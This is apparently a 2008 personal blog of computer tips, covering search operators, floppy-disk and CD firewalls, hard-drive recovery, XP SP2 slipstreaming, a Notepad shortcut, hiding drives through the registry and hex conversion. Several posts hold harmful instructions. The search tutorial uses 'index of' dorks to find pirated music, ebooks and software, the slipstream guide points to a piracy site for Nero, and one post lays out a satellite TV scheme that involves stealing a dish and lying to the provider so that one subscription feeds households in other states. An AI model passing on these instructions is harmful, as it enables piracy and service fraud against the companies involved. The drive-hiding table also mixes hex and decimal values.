Wildcard searches. Great when applied to a previously mentioned method. If you only know the name of a prog, or are looking for ALL of a particular file (ie. you're DLing tunes) something like *.mp3 would list every mp3.

10. Ever see this?
"In order to show you the most relevant results, we have omitted some entries very similar to the X already displayed. If you like, you can repeat the search with the omitted results included." The answer is YES. yes yes yes. Did I mention yes? I meant to.

11. Search EVERYWHERE
Use the engine to its fullest. If you dont find your answer in the web section, try the group section. Hell, try a whole different search engine. Dont limit yourself, because sometimes engines seem to intentionally leave results out.
ex. use google, yahoo, and altavista. search the same terms... pretty close, right? Now search for disney death. Funny, altavista has plenty of disney, but no death...hmmm.

If you've read this far into this tutorial without saying, "Great, a guy that copied a few google help pages and thinks its useful info" then I will show you WHY (besides accuracy, speed, and consistancy finding info on ANYTHING) its nice to know how a search engine works. You combine it/w your knowledge of other protocol.

Example:
Want free music? Free games? Free software? Free movies? God bless FTP! Try this search:
intitle:"Index of music" "rolling stones" mp3
Substitute rolling stones/w your favorite band. No? Try the song name, or another file format. Play with it. Assuming SOMEONE made an FTP and uploaded it, you'll find it.

For example....I wanted to find some Sepultura. If you never heard them before, they're a Brazilian heavy metal band that kicks ass. I started with this:
intitle:"Index of music" "Sepultura" mp3 <-- nothing
intitle:"Index of música" "Sepultura" mp3 <-- nothing
intitle:"Index of musica" "Sepultura" mp3 <-- not good enough
intitle:"Index of music" "Sepultura" * <-- found great stuff, but not enough Sepultura

At this point it occurs to me that I may be missing something, so I try:
intitle:"index of *" "sepultura" mp3 <-- BANG!
(and thats without searching for spelling errors)
Also try inurl:ftp

I find that * works better for me than trying to guess other peoples mis-spellings.

The same method applies for ebooks, games, movies, SW, anything that may be on an FTP site.

I hope you enjoyed this tutorial, and I saw that recently a book and an article was written on the very same topic. I havn't read them as of yet, but check em out, and get back to me if you feel I missed something important and should include anything else.

intitle:"index of" "google hacks" ebook

Ps. I've said it before, I'll say it again... BE CREATIVE.
You'll be surprised what you can find.

Hardware Firewall

2008-08-16T02:01:00.002-07:00

The best firewall is a hardware firewall that is completely separate from your operating system. It need not be a dedicated router, could be an old pentium box running Linux. Below I have found some sites that have How To's on setting up an outside hardware router using an old computer and using a little linux program that fits on a single floppy disk.

Brief Description:
floppyfw is a router with the advanced firewall-capabilities in Linux that fits on one single floppy disc.

Features:
Access lists, IP-masquerading (Network Address Translation), connection tracked packet filtering and (quite) advanced routing. Package for traffic shaping is also available.
Requires only a 386sx or better with two network interface cards, a 1.44MB floppy drive and 12MByte of RAM ( for less than 12M and no FPU, use the 1.0 series, which will stay maintained. )
Very simple packaging system. Is used for editors, PPP, VPN, traffic shaping and whatever comes up. (now this is looking even more like LRP (may it rest in peace) but floppyfw is not a fork.)
Logging through klogd/syslogd, both local and remote.
Serial support for console over serial port.
DHCP server and DNS cache for internal networks.

floppyfw

h#tp://www.zelow.no/floppyfw/

Sentry Firewall CD-ROM is a Linux-based bootable CDROM suitable for use as an inexpensive and easy to maintain firewall, server, or IDS(Intrusion Detection System) Node. The system is designed to be immediately configurable for a variety of different operating environments via a configuration file located on a floppy disk, a local hard drive, and/or a network via HTTP(S), FTP, SFTP, or SCP.

The Sentry Firewall CD is a complete Linux system that runs off of an initial ramdisk, much like a floppy-based system, and a CD. The default kernel is a current 2.4.x series kernel with various Netfilter patches applied. An OpenWall-patched current 2.2.x kernel is also available on the CD.

Booting from the CDROM is a fairly familiar process. The BIOS execs the bootloader(Syslinux) - which then displays a bootprompt and loads the kernel and ramdisk into memory. Once the kernel is running, the ramdisk is then mounted as root(/). At this point our configuration scripts are run(written in perl) that configure the rest of the system. It is the job of these configure scripts to put the various startup and system files into the proper location using either what is declared in the configuration file(sentry.conf) or the system defaults located in the /etc/default directory.

Most of the critical files used at boot time can be replaced with your own copy when declared in the configuration file. This is essentially how we allow the user to configure the system using his/her own configuration and init files.

All of the binaries, files, scripts, etc, used to create the CD-ROM are also available on the CD-ROM. So, with a little practice, you can easily build and customize your own bootable Sentry Firewall CD. Please see the HOWTO for more details.

Sentry Firewall

ht*p://www.sentryfirewall.com/docs.html#overview

Hard drive gone bad

2008-08-16T02:01:00.001-07:00

The most common problems originate
from corruption of the master boot record, FAT, or directory.
Those are soft problems which can usually be taken care of
with a combination of tools like Fdisk /mbr to refresh the
master boot record followed by a reboot and Norton disk doctor
or Spinneret.

The most common hardware problems are a bad controller, a bad
drive motor, or a bad head mechanism.

1. Can the BIOS see and identify the hard drive correctly? If
it can't, then the hard drives onboard controller is bad.

2. Does the drive spin and maintain a constant velocity? If it
does, that's good news. The motor is functioning.

3. If the drive surges and dies, the most likely cause is a
bad controller (assuming the drive is cool). A gate allowing
the current to drive the motor may not be staying open. The
drive needs a new controller.

4. Do you hear a lot of head clatter when the machine is
turned on and initialized (but before the system attempts to
access the hard drive). Head clatter would indicate that the
spindle bearings are sloppy or worn badly. Maybe even lose and
flopping around inside.

5. There is always the possibility that the controller you are
using in the machine has gone south.

1. If the drive spins, try booting to the A> prompt, run Fdisk
and check to see if Fdisk can see a partition on the hard
drive. If Fdisk can see the partition, that means that it can
access the drive and that the controller electronics are
functioning correctly. If there is no head clatter, it may be
just a matter of disk corruption which commonly occurs when a
surge hits you machine and overwhelms the power supply voltage
regulator. It commonly over whelms the system electronics
allowing an EM pulse to wipe out the master boot record, file
allocations table, and primary directory. Fdisk can fix the
master boot record and Norton Disk Doctor can restore the FAT
and Directory from the secondaries.
2. The drive spins but Fdisk can't see it. Try the drive in
another system and repeat the test to confirm that Fdisk can't
read through the drives onboard controller. If it sees it in
another system, then your machines hard drive interface is
bad. You can try an upgraded or replacement controller card
like a Promise or CMD Technologies (there are others) in you
machine after disabling the integrated controller in the BIOS,
but if the integrated controller went south, it may just be
symptomatic of further failures and you'd be wise to replace
the motherboard. Trying the drive in another machine also
eliminates the variable that your machines 12 volt power
output being bad

3. If you get head clatter but a constant velocity on the
drive motor (no surging), you might try sticking the hard
drive in the freezer for about 12 hours. This is an old trick
from back in the days of the MFM/ESDI driver era. This can
cause the drive components to shrink enough to make the track
marker align with the tracks. We don't see that kind of
platter spindle wear much anymore, but back in the old days,
the balancing and bearings weren't as good. Still, under the
right circumstances, it might help. It would depend on how old
the drive is and how many hours of wear have occurred. You
have to be quick to get your info off the drive when it works.
Back then, the drives were much smaller, so there wasn't so
much to copy. So, go after the important data first.

4. The drive doesn't spin. Either the onboard controller is
bad or the motor is bad (assuming you did try the drive in
another machine). It's time to hit the net and local
independent shops to see if you can locate another drive of
the same make and model that's good. Since the drive is
probably an older drive and no longer in distribution, your
best bet is to find an identical used drive. If you know
someone with the same make and model, you might be wise to try
and persuade them to sell you their drive with an offer of
providing them with a free upgraded drive. If you can locate
an identical drive, start with the controller replacement ...
this is the simplest and least invasive. If swapping the
controller doesn't produce the desire result, you can tear
into the drive and swap the motors. While you have both drive
opened up to accomplish this, scrutinize the platters, heads
and armatures. You might even hook the drive up and power it
from a system with both drives attached. This way, you could
see anything that deviates between the actions of both drives
when they are initialized. Swapping patters is unlikely to
produce any positive result. They are a balanced system like
the tires on your car and I suspect that the balance will be
different for each drive as will other variables.

5. There's always Ontrack Corp. who will attempt to recoup
your info starting at $500 and going up from there. They don't
fix and return the drive either.

If the info is all that important to you, I would seek some
professional and experience technician in your locality who
makes his living from servicing and building computer systems
... not just selling them. If you have had much experience
salvaging information from bad hard drives, your likelihood of
success is low. In the case of soft corruption, all utilities
have their eccentricities. Often times, Norton Disk Doctor
will go too far (if you let it). It's wise to just let those
utilities small steps and then have a look at the drive and
see if you can copy it off. Norton will go so far as to rename
directories and files, and even delete them or break them up
into fragments which are useless.

DarkLegacy's Guide to Slipstreaming Service Pack 2

2008-08-16T02:01:00.000-07:00

• This guide will allow you to sucsessfully install Service Pack 2 on the original (gold) code of Microsoft Windows XP.
• The version of Windows you have purchased/downloaded does not matter as far as slipstreaming (they're all the same anyway).

Things you need:
• Microsoft Windows XP (duh :P)
• Service Pack 2:

URL http://download.microsoft.com/download/1/6/5/165b076b-aaa9-443d-84f0-73cf11fdcdf8/WindowsXP-KB835935-SP2-ENU.exe

• Windows XP Boot sector:

http://www.neowin.net/downloads/xpboot.bin

• Nero Burning Rom (find it on SoD)

Step One

Insert the Microsoft Windows XP CD into your CD-ROM drive, and create a new folder on your hard-drive labelled "CD".

Copy all of the files from the Windows XP CD to the "CD" folder.

Step Two

Download Service Pack 2 and place it within the root of your hard-drive.
Ex: C:\ D:\ etc..

Step Three

Go to Start -> Run and type in "F:\WindowsXP-KB835935-SP2-ENU.exe -s:F:\CD" (depending on where you put the folder)

The actual command is -s:drive:\folder

Step Four

The Service Pack 2 updater will automatically slipstream Service Pack 2 into your "CD" folder.

Step Five

If you browse back to the CD folder, you'll notice that new folders and files appeared from the SP2 update. At this point, you can include any software you wish onto this CD, but make sure that the size of the folder does not exceed the media you are burning on. If you're not sure, a regular CD is 700 megabytes.

Step Six

Go to Start and Search for files and folders. Go to all files and folders, and type in "wpa.dbl". This is the activation file for your current installed version of XP. Make a copy of the file and paste it into your CD folder.

Step Seven

Open up Nero Smartstart, and click on the icon that looks like two people. This turns the program into "professional mode". Search for create a bootable CD. Click on it, and make sure that your settings agree with the following picture; also make sure that you downloaded the Windows XP boot sector.

Step Eight

Continue onto the next tab, and make sure that your settings agree with the picture:

Step Nine

In this step, you can label your CD whatever the hell you want. I recommend WXPSP2_EN.

Step Ten

Go to "new" and locate your CD folder. Drag all of the files in the CD folder to the compilation window on the right, and nero will calculate how much disk space was used. If it exceeds 700 MB, get rid of some programs that you added to the CD. If you didn't add anything; just push burn.

Step Eleven

Make sure that your settings check with the picture:

Step Twelve

Just push burn, and that's it! Congradulations, you just made a bootable Win XP CD with SP2 slipstreamed!

Have Notepad In Send To

2008-08-16T02:00:00.000-07:00

Many apply a registry tweak to have notepad as an option for unknown file types. We frequently see such files which are actually just text, but named with some odd file-extension. And then, some suspicious files which we want to make sure what the contents are. Well, in such cases where the registry tweak is applied, the downside happens to be that even some known files get associated with notepad - but no, all we want is to be able to open a file with notepad - the association part in such cases is unwanted interference. Also, notepad becomes a permanent fixture on the right-click menu - which is again an annoyance.

So what we do, is to have notepad as an option in the Send-To options, of the right-click menu in explorer. It fulfils the purpose to perfection (atleast, in my case). Here's what we do:

1. right-click desktop, choose "New >> Shortcut"
2. Type the location of the item - "notepad" - (that's all, no need to give path)
3. Next >> type name for shortcut - "Edit with Notepad"
4. Click finish
5. Now right-click this shortcut on the desktop, and choose properties.
6. Confirm that the "target" and "start in" fields are using variables - "%windir%\system32\notepad.exe" - (absolute paths will be problematic if you use this .LNK on machines other than your own)
7. Now, browse to "%UserProfile%\SendTo" in explorer (which means "C:\Documents and Settings\User_Name\SendTo\" folder)
8. And copy the "Edit with Notepad.lnk" file which you already created, to that folder.
9. So now, you can right-click on ANY file-type, and be offered an option to open with notepad, from the SendTo sub-menu.

So now, you just right-click on an .nfo or .eml or .diz file (which are associated with other programs, and are sometimes just plain-text files), and choose "Send To >> Edit with Notepad" and it will open in notepad!
No more botheration of applying registry tweaks for something as simple as this.

have satallite tv for almost free IF not free

2008-08-16T01:53:00.000-07:00

have satallite tv for almost free IF not free!!!

this is a tut by me that i use at home to get all the channels "not including ppv" for almost free if not free... i have every single channel that dish network offers and i dont pay a single dollar..... ok this is how it goes...
-----------------------------------

Get a dish 500 no matter how… “buy /steal”
Sign up with dish network for like “top 100” that will give you like 100 channels… it would cost you like 29.99 or 39.99 not sure…
Then you need to find 3 friends… or parent friends that are interested in having satellite TV….
Dish network allows you to have up to 4 receivers in one house with no prob.
So the next day, or when ever you find a person or 3 of them… call the dish company and tell them that you would like to activate your 2nd receiver and would like to add some additional channels… for that you would need “receiver # and smart card # of that new receiver that is at your friends house” so you give them the info and they hook the second receiver up… just don’t tell them that the receiver is not in the house…
They will hook up to 3 more receivers per account and when you get all 4 receivers you can get all channels on them and just split your bill between the other 3 people that are using your subscription…
For me it works perfectly… I live in Oregon and I have a receiver in my friends’ house in Washington and two in California USA.
I don’t know if this thing would work anywhere else but it sure works for me

Hide Drives and Partitions

2008-08-16T01:52:00.001-07:00

Do you have data on a partition or hard drive that you don't want tampered with or easily accessible to other users? Well, you can hide any drive/partition in Windows XP, NT, and 2000. That means that they won't show up in Explorer or My Computer.

If you want access to that drive from your user account you should create a desktop shortcut before proceeding. Once hidden, you can still access by typing the drive letter and a colon in Start/Run—for example, "D:" will bring up a folder of the contents on your D drive.

The easiest way with Win XP is to use the TweakUI power toy from Mcft. Go to Start/Run and type in "tweakui" (without the quotes).

Go to My Computer/Drives and uncheck the drive/partition(s) you want hidden. Click "Apply" or "OK" when finished.

If you have XP but not Tweak UI you can download it here...
http://www.Mcft.com/windowsxp/downloads/powertoys/xppowertoys.mspx

For Win NT, 2000, and XP you can use the following Registry edit:

*Be sure to back up the Registry before proceeding
http://www.worldstart.com/tips/tips.php/401

Open the Registry Editor by going to Start/Run and typing in "regedit" (without the quotes). Find your way to...

HKEY_CURRENT_USER\Software\Mcft\Windows\CurrentVersion\Policies

Click on "Explorer".

Double-click the "NoDrives" key in the right column. If you don't find a "NoDrives" registry key, just right-click in the right pane and choose "New/DWORD Value" then name the key "NoDrives".

You'll see a value like "0000 00 00 00 00". This is where the fun starts. The four sets of double zeros (after the "0000") are where you'll enter the values for the drive/partitions. Now, stay with me on this—it's not as complicated as it sounds:

The first column is for drives A-H, the second for I-P, the third for Q-X, and the fourth for Y-Z.

The values for each drive are as follows:

1 - A I Q Y
2 - B J R Z
4 - C K S
8 - D L T
16 - E M U
32 - F N V
64 - G O W
80 - H P X

So, let's say you want to hide drive D. In the first column you would put "08". For drive K you would put "04" in the second column.

But what if you want to hide more than one drive in a column? Simply add the values together: D+E = 8+16 = 24. So in the first column you would put "24".

Still baffled? If you have XP then go get TweakUI and save yourself the math.

Whichever method you use, you can rest easy knowing that the files on that drive or partition are less accessible to other users.

Hex, How to turn binary or decimal to hex

2008-08-16T01:52:00.000-07:00

First go to http://www.shareordie.com/forum/index.php?showtopic=3269 to learn binary.

OK, 1,453,752 is 101100010111010111000 is binary, now we turn it into a Hex number.

First Hex numbers goes like this:
1=1
2=2
.
.
9=9
10=A
11=B
12=C
13=D
14=E
15=F

Now you need to take the first octet (the far right 4) and place it under this little grid:

8 4 2 1
--------
1 0 0 0 = 8

See the 1 under the 8 column?
That is what you add.

So the next octet is 1011, put it under the grid:

8 4 2 1
--------
1 0 0 0 = 8
1 0 1 1 = B

See 8+2+1=11, so you can't just say 11 you have to put it in a Hex number, which is B.
So the full Hex number of 1,453,752 is:

8 4 2 1
--------
1 0 0 0 = 8
1 0 1 1 = B
1 1 1 0 = E
0 0 1 0 = 2
0 1 1 0 = 6
0 0 0 1 = 1 <-- Just add zero if it isn't a full octet

162EB8

So if you want to turn a number in to the shorter version of Hex, just turn it into binary, then use this grid and you'll do fine

P.S. Thanks Korrupt for the number to work with